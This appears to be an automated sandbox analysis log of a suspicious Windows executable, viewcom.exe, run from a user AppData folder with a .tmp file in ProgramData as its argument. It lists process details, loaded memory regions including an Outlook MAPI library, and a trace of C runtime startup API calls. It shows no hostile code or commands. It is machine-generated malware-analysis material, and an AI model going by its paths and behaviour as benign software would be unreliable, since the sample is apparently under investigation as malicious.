os_integrity_level = "0x2000"
os_privileges = "0x800000"
monitor_reason = "child_process"
parent_id = "6"
os_parent_pid = "0xb98"
cmd_line = "\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\" \"C:\\ProgramData\\9F2D.tmp\""
cur_dir = "C:\\Users\\ATVeyDl98Z\\Desktop\\"
os_username = "ZJEWV7F\\ATVeyDl98Z"
os_groups = "ZJEWV7F\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f73d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 1403
start_va = 0x10000
end_va = 0x2ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000010000"
filename = ""
Region:
id = 1404
start_va = 0x30000
end_va = 0x12ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000030000"
filename = ""
Region:
id = 1405
start_va = 0x130000
end_va = 0x133fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000130000"
filename = ""
Region:
id = 1406
start_va = 0x400000
end_va = 0x418fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000400000"
filename = ""
Region:
id = 1407
start_va = 0x775c0000
end_va = 0x776fbfff
entry_point = 0x775c0000
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 1408
start_va = 0x77800000
end_va = 0x77800fff
entry_point = 0x77800000
region_type = mapped_file
name = "apisetschema.dll"
filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")
Region:
id = 1409
start_va = 0x7ffb0000
end_va = 0x7ffd2fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007ffb0000"
filename = ""
Region:
id = 1410
start_va = 0x7ffda000
end_va = 0x7ffdafff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffda000"
filename = ""
Region:
id = 1411
start_va = 0x7ffdf000
end_va = 0x7ffdffff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffdf000"
filename = ""
Region:
id = 1424
start_va = 0x1b0000
end_va = 0x2affff
entry_point = 0x0
region_type = private
name = "private_0x00000000001b0000"
filename = ""
Region:
id = 1425
start_va = 0x758d0000
end_va = 0x75919fff
entry_point = 0x758d7de0
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")
Region:
id = 1426
start_va = 0x76350000
end_va = 0x76423fff
entry_point = 0x7639bde4
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")
Region:
id = 1427
start_va = 0x10000
end_va = 0x1ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 1428
start_va = 0x140000
end_va = 0x1a6fff
entry_point = 0x140000
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 1429
start_va = 0x7f6f0000
end_va = 0x7f7effff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007f6f0000"
filename = ""
Region:
id = 1430
start_va = 0x76030000
end_va = 0x760cffff
entry_point = 0x760449e5
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")
Region:
id = 1431
start_va = 0x773b0000
end_va = 0x7745bfff
entry_point = 0x773ba472
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")
Region:
id = 1432
start_va = 0x76330000
end_va = 0x76348fff
entry_point = 0x76334975
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")
Region:
id = 1433
start_va = 0x75b60000
end_va = 0x75c00fff
entry_point = 0x75b92433
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")
Region:
id = 1434
start_va = 0x2b0000
end_va = 0x31ffff
entry_point = 0x0
region_type = private
name = "private_0x00000000002b0000"
filename = ""
Region:
id = 1435
start_va = 0x77460000
end_va = 0x775bbfff
entry_point = 0x774aba3d
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")
Region:
id = 1436
start_va = 0x77710000
end_va = 0x7775dfff
entry_point = 0x77719c09
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")
Region:
id = 1437
start_va = 0x75c10000
end_va = 0x75cd8fff
entry_point = 0x75c2d711
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")
Region:
id = 1438
start_va = 0x75b10000
end_va = 0x75b19fff
entry_point = 0x75b1136c
region_type = mapped_file
name = "lpk.dll"
filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")
Region:
id = 1439
start_va = 0x75a70000
end_va = 0x75b0cfff
entry_point = 0x75aa3fd7
region_type = mapped_file
name = "usp10.dll"
filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")
Region:
id = 1440
start_va = 0x2b0000
end_va = 0x2ccfff
entry_point = 0x2b1355
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")
Region:
id = 1441
start_va = 0x310000
end_va = 0x31ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000310000"
filename = ""
Region:
id = 1442
start_va = 0x320000
end_va = 0x3e7fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000320000"
filename = ""
Region:
id = 1444
start_va = 0x2b0000
end_va = 0x2ccfff
entry_point = 0x2b1355
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")
Region:
id = 1445
start_va = 0x77140000
end_va = 0x7715efff
entry_point = 0x77141355
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")
Region:
id = 1446
start_va = 0x772e0000
end_va = 0x773abfff
entry_point = 0x772e168b
region_type = mapped_file
name = "msctf.dll"
filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")
Region:
id = 1447
start_va = 0x420000
end_va = 0x520fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000420000"
filename = ""
Region:
id = 1448
start_va = 0x530000
end_va = 0x112ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000530000"
filename = ""
Region:
id = 1451
start_va = 0x20000
end_va = 0x20fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000020000"
filename = ""
Region:
id = 1452
start_va = 0x2b0000
end_va = 0x2b0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000002b0000"
filename = ""
Region:
id = 1453
start_va = 0x764f0000
end_va = 0x77139fff
entry_point = 0x76571601
region_type = mapped_file
name = "shell32.dll"
filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")
Region:
id = 1454
start_va = 0x760e0000
end_va = 0x76136fff
entry_point = 0x760f9ba6
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")
Region:
id = 1475
start_va = 0x5f3c0000
end_va = 0x5f846fff
entry_point = 0x5f3c0000
region_type = mapped_file
name = "olmapi32.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\OLMAPI32.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\olmapi32.dll")
Region:
id = 1476
start_va = 0x2c0000
end_va = 0x2c1fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000002c0000"
filename = ""
Region:
id = 1477
start_va = 0x6d4f0000
end_va = 0x6d503fff
entry_point = 0x6d4f0000
region_type = mapped_file
name = "vcruntime140.dll"
filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll")
Region:
id = 1478
start_va = 0x6d4e0000
end_va = 0x6d4e3fff
entry_point = 0x6d4e0000
region_type = mapped_file
name = "api-ms-win-crt-runtime-l1-1-0.dll"
filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll")
Region:
id = 1479
start_va = 0x6f310000
end_va = 0x6f3ebfff
entry_point = 0x6f310000
region_type = mapped_file
name = "ucrtbase.dll"
filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll")
Region:
id = 1480
start_va = 0x6f300000
end_va = 0x6f302fff
entry_point = 0x6f300000
region_type = mapped_file
name = "api-ms-win-core-timezone-l1-1-0.dll"
filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll")
Region:
id = 1481
start_va = 0x6f2f0000
end_va = 0x6f2f2fff
entry_point = 0x6f2f0000
region_type = mapped_file
name = "api-ms-win-core-file-l2-1-0.dll"
filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll")
Region:
id = 1482
start_va = 0x6f2e0000
end_va = 0x6f2e2fff
entry_point = 0x6f2e0000
region_type = mapped_file
name = "api-ms-win-core-localization-l1-2-0.dll"
filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll")
Region:
id = 1483
start_va = 0x6f5a0000
end_va = 0x6f5a2fff
entry_point = 0x6f5a0000
region_type = mapped_file
name = "api-ms-win-core-synch-l1-2-0.dll"
filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll")
Region:
id = 1484
start_va = 0x6f2d0000
end_va = 0x6f2d2fff
entry_point = 0x6f2d0000
region_type = mapped_file
name = "api-ms-win-core-processthreads-l1-1-1.dll"
filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll")
Region:
id = 1485
start_va = 0x6f2c0000
end_va = 0x6f2c2fff
entry_point = 0x6f2c0000
region_type = mapped_file
name = "api-ms-win-core-file-l1-2-0.dll"
filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll")
Region:
id = 1486
start_va = 0x6d4d0000
end_va = 0x6d4d3fff
entry_point = 0x6d4d0000
region_type = mapped_file
name = "api-ms-win-crt-string-l1-1-0.dll"
filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll")
Region:
id = 1493
start_va = 0x6d4c0000
end_va = 0x6d4c2fff
entry_point = 0x6d4c0000
region_type = mapped_file
name = "api-ms-win-crt-heap-l1-1-0.dll"
filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll")
Region:
id = 1495
start_va = 0x6d4b0000
end_va = 0x6d4b3fff
entry_point = 0x6d4b0000
region_type = mapped_file
name = "api-ms-win-crt-stdio-l1-1-0.dll"
filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll")
Region:
id = 1500
start_va = 0x6d4a0000
end_va = 0x6d4a3fff
entry_point = 0x6d4a0000
region_type = mapped_file
name = "api-ms-win-crt-convert-l1-1-0.dll"
filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll")
Region:
id = 1502
start_va = 0x6b2e0000
end_va = 0x6b34bfff
entry_point = 0x6b2e0000
region_type = mapped_file
name = "msvcp140.dll"
filename = "\\Windows\\System32\\msvcp140.dll" (normalized: "c:\\windows\\system32\\msvcp140.dll")
Region:
id = 1504
start_va = 0x6d460000
end_va = 0x6d462fff
entry_point = 0x6d460000
region_type = mapped_file
name = "api-ms-win-crt-locale-l1-1-0.dll"
filename = "\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-locale-l1-1-0.dll")
Region:
id = 1506
start_va = 0x6b770000
end_va = 0x6b774fff
entry_point = 0x6b770000
region_type = mapped_file
name = "api-ms-win-crt-math-l1-1-0.dll"
filename = "\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-math-l1-1-0.dll")
Region:
id = 1507
start_va = 0x6b760000
end_va = 0x6b764fff
entry_point = 0x6b760000
region_type = mapped_file
name = "api-ms-win-crt-multibyte-l1-1-0.dll"
filename = "\\Windows\\System32\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-multibyte-l1-1-0.dll")
Region:
id = 1508
start_va = 0x6b750000
end_va = 0x6b752fff
entry_point = 0x6b750000
region_type = mapped_file
name = "api-ms-win-crt-time-l1-1-0.dll"
filename = "\\Windows\\System32\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-time-l1-1-0.dll")
Region:
id = 1509
start_va = 0x6b740000
end_va = 0x6b742fff
entry_point = 0x6b740000
region_type = mapped_file
name = "api-ms-win-crt-filesystem-l1-1-0.dll"
filename = "\\Windows\\System32\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-filesystem-l1-1-0.dll")
Region:
id = 1512
start_va = 0x6b730000
end_va = 0x6b732fff
entry_point = 0x6b730000
region_type = mapped_file
name = "api-ms-win-crt-environment-l1-1-0.dll"
filename = "\\Windows\\System32\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-environment-l1-1-0.dll")
Region:
id = 1513
start_va = 0x6b720000
end_va = 0x6b722fff
entry_point = 0x6b720000
region_type = mapped_file
name = "api-ms-win-crt-utility-l1-1-0.dll"
filename = "\\Windows\\System32\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-utility-l1-1-0.dll")
Region:
id = 1515
start_va = 0x73b60000
end_va = 0x73ceffff
entry_point = 0x73bfd026
region_type = mapped_file
name = "gdiplus.dll"
filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")
Region:
id = 1516
start_va = 0x741a0000
end_va = 0x741acfff
entry_point = 0x741a11e0
region_type = mapped_file
name = "wtsapi32.dll"
filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")
Region:
id = 1519
start_va = 0x2d0000
end_va = 0x2d0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000002d0000"
filename = ""
Region:
id = 1520
start_va = 0x2e0000
end_va = 0x2e0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000002e0000"
filename = ""
Region:
id = 1523
start_va = 0x1130000
end_va = 0x13fefff
entry_point = 0x1130000
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 1524
start_va = 0x746f0000
end_va = 0x7488dfff
entry_point = 0x7471e6b5
region_type = mapped_file
name = "comctl32.dll"
filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")
Region:
id = 1525
start_va = 0x2f0000
end_va = 0x2f0fff
entry_point = 0x2f0000
region_type = mapped_file
name = "windowsshell.manifest"
filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest")
Region:
id = 1526
start_va = 0x300000
end_va = 0x301fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000300000"
filename = ""
Region:
id = 1527
start_va = 0x1400000
end_va = 0x151ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001400000"
filename = ""
Region:
id = 1528
start_va = 0x75660000
end_va = 0x7566bfff
entry_point = 0x756610e1
region_type = mapped_file
name = "cryptbase.dll"
filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")
Region:
id = 1535
start_va = 0x2f0000
end_va = 0x2f6fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000002f0000"
filename = ""
Region:
id = 1536
start_va = 0x3f0000
end_va = 0x3f1fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000003f0000"
filename = ""
Region:
id = 1537
start_va = 0x1400000
end_va = 0x14bffff
entry_point = 0x1400000
region_type = mapped_file
name = "kernelbase.dll.mui"
filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")
Region:
id = 1538
start_va = 0x14e0000
end_va = 0x151ffff
entry_point = 0x0
region_type = private
name = "private_0x00000000014e0000"
filename = ""
Region:
id = 1539
start_va = 0x1520000
end_va = 0x1912fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001520000"
filename = ""
Region:
id = 1540
start_va = 0x1920000
end_va = 0x1b1ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001920000"
filename = ""
Region:
id = 1541
start_va = 0x1b20000
end_va = 0x244ffff
entry_point = 0x1b20000
region_type = mapped_file
name = "staticcache.dat"
filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat")
Region:
id = 1542
start_va = 0x73cf0000
end_va = 0x73d2ffff
entry_point = 0x73cfa2dd
region_type = mapped_file
name = "uxtheme.dll"
filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")
Region:
id = 1543
start_va = 0x1920000
end_va = 0x19affff
entry_point = 0x0
region_type = private
name = "private_0x0000000001920000"
filename = ""
Region:
id = 1544
start_va = 0x1ae0000
end_va = 0x1b1ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000001ae0000"
filename = ""
Region:
id = 1545
start_va = 0x19b0000
end_va = 0x1a8efff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000019b0000"
filename = ""
Region:
id = 1546
start_va = 0x73a00000
end_va = 0x73a12fff
entry_point = 0x73a01d3f
region_type = mapped_file
name = "dwmapi.dll"
filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")
Region:
id = 1547
start_va = 0x2450000
end_va = 0x24cffff
entry_point = 0x0
region_type = private
name = "private_0x0000000002450000"
filename = ""
Region:
id = 1548
start_va = 0x14c0000
end_va = 0x14c0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000014c0000"
filename = ""
Thread:
id = 81
os_tid = 0xc84
[0079.291] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12ff78 | out: lpSystemTimeAsFileTime=0x12ff78*(dwLowDateTime=0xc07ab230, dwHighDateTime=0x1d32268))
[0079.291] GetCurrentThreadId () returned 0xc84
[0079.291] GetCurrentProcessId () returned 0xc80
[0079.291] QueryPerformanceCounter (in: lpPerformanceCount=0x12ff70 | out: lpPerformanceCount=0x12ff70*=436652970) returned 1
[0079.291] GetStartupInfoW (in: lpStartupInfo=0x12ff08 | out: lpStartupInfo=0x12ff08*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0))
[0079.292] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76350000
[0079.292] GetProcAddress (hModule=0x76350000, lpProcName="FlsAlloc") returned 0x763a418d
[0079.292] GetProcAddress (hModule=0x76350000, lpProcName="FlsFree") returned 0x763a1f61
[0079.292] GetProcAddress (hModule=0x76350000, lpProcName="FlsGetValue") returned 0x763a1e16
[0079.292] GetProcAddress (hModule=0x76350000, lpProcName="FlsSetValue") returned 0x763a76e6
[0079.292] GetProcAddress (hModule=0x76350000, lpProcName="InitializeCriticalSectionEx") returned 0x763a3879
[0079.292] GetProcAddress (hModule=0x76350000, lpProcName="CreateEventExW") returned 0x763524d8
[0079.292] GetProcAddress (hModule=0x76350000, lpProcName="CreateSemaphoreExW") returned 0x76382111
[0079.293] GetProcAddress (hModule=0x76350000, lpProcName="SetThreadStackGuarantee") returned 0x76392510
[0079.293] GetProcAddress (hModule=0x76350000, lpProcName="CreateThreadpoolTimer") returned 0x7638b009
[0079.293] GetProcAddress (hModule=0x76350000, lpProcName="SetThreadpoolTimer") returned 0x775e89be
[0079.293] GetProcAddress (hModule=0x76350000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x775dc02a
[0079.293] GetProcAddress (hModule=0x76350000, lpProcName="CloseThreadpoolTimer") returned 0x775dc0d2
[0079.293] GetProcAddress (hModule=0x76350000, lpProcName="CreateThreadpoolWait") returned 0x76383f78
[0079.293] GetProcAddress (hModule=0x76350000, lpProcName="SetThreadpoolWait") returned 0x775e8bfb
[0079.293] GetProcAddress (hModule=0x76350000, lpProcName="CloseThreadpoolWait") returned 0x775db567
[0079.293] GetProcAddress (hModule=0x76350000, lpProcName="FlushProcessWriteBuffers") returned 0x77605998
[0079.293] GetProcAddress (hModule=0x76350000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x775d2251
[0079.293] GetProcAddress (hModule=0x76350000, lpProcName="GetCurrentProcessorNumber") returned 0x775d28f6
[0079.293] GetProcAddress (hModule=0x76350000, lpProcName="GetLogicalProcessorInformation") returned 0x76382004
[0079.293] GetProcAddress (hModule=0x76350000, lpProcName="CreateSymbolicLinkW") returned 0x763d9aa9
[0079.293] GetProcAddress (hModule=0x76350000, lpProcName="SetDefaultDllDirectories") returned 0x0
[0079.293] GetProcAddress (hModule=0x76350000, lpProcName="EnumSystemLocalesEx") returned 0x763df3cf
[0079.293] GetProcAddress (hModule=0x76350000, lpProcName="CompareStringEx") returned 0x763aebc6
[0079.293] GetProcAddress (hModule=0x76350000, lpProcName="GetDateFormatEx") returned 0x763ef29f
[0079.293] GetProcAddress (hModule=0x76350000, lpProcName="GetLocaleInfoEx") returned 0x763853a5
[0079.294] GetProcAddress (hModule=0x76350000, lpProcName="GetTimeFormatEx") returned 0x763ef21a
[0079.294] GetProcAddress (hModule=0x76350000, lpProcName="GetUserDefaultLocaleName") returned 0x763df70b
[0079.294] GetProcAddress (hModule=0x76350000, lpProcName="IsValidLocaleName") returned 0x763df71b
[0079.294] GetProcAddress (hModule=0x76350000, lpProcName="LCMapStringEx") returned 0x763df72b
[0079.294] GetProcAddress (hModule=0x76350000, lpProcName="GetCurrentPackageId") returned 0x0
[0079.294] GetProcAddress (hModule=0x76350000, lpProcName="GetTickCount64") returned 0x7638eb4e
[0079.294] GetProcAddress (hModule=0x76350000, lpProcName="GetFileInformationByHandleExW") returned 0x0
[0079.294] GetProcAddress (hModule=0x76350000, lpProcName="SetFileInformationByHandleW") returned 0x0
[0079.295] GetCurrentThreadId () returned 0xc84
[0079.295] GetStartupInfoW (in: lpStartupInfo=0x12fed8 | out: lpStartupInfo=0x12fed8*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4075c2, hStdOutput=0xdbaf5b4a, hStdError=0x0))
[0079.295] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
[0079.295] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
[0079.295] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
[0079.295] GetCommandLineA () returned="\"C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\viewcom.exe\" \"C:\\ProgramData\\9F2D.tmp\""
[0079.295] GetEnvironmentStringsW () returned 0x1bef38*
[0079.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1268, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1268
[0079.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1268, lpMultiByteStr=0x1bf928, cbMultiByte=1268, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1268
[0079.295] FreeEnvironmentStringsW (penv=0x1bef38) returned 1
[0079.296] GetLastError () returned 0x7f
[0079.296] SetLastError (dwErrCode=0x7f)
[0079.296] GetLastError () returned 0x7f
[0079.296] SetLastError (dwErrCode=0x7f)
[0079.296] GetLastError () returned 0x7f
[0079.296] SetLastError (dwErrCode=0x7f)
[0079.296] GetACP () returned 0x4e4
[0079.296] GetLastError () returned 0x7f
[0079.296] SetLastError (dwErrCode=0x7f)
[0079.296] IsValidCodePage (CodePage=0x4e4) returned 1
[0079.296] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12fedc | out: lpCPInfo=0x12fedc) returned 1
[0079.296] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x12f9a4 | out: lpCPInfo=0x12f9a4) returned 1
[0079.296] GetLastError () returned 0x7f
[0079.296] SetLastError (dwErrCode=0x7f)
[0079.296] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
[0079.296] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12fdb8, cbMultiByte=256, lpWideCharStr=0x12f728, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256
[0079.296] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x12f9b8 | out: lpCharType=0x12f9b8) returned 1
[0079.296] GetLastError () returned 0x7f
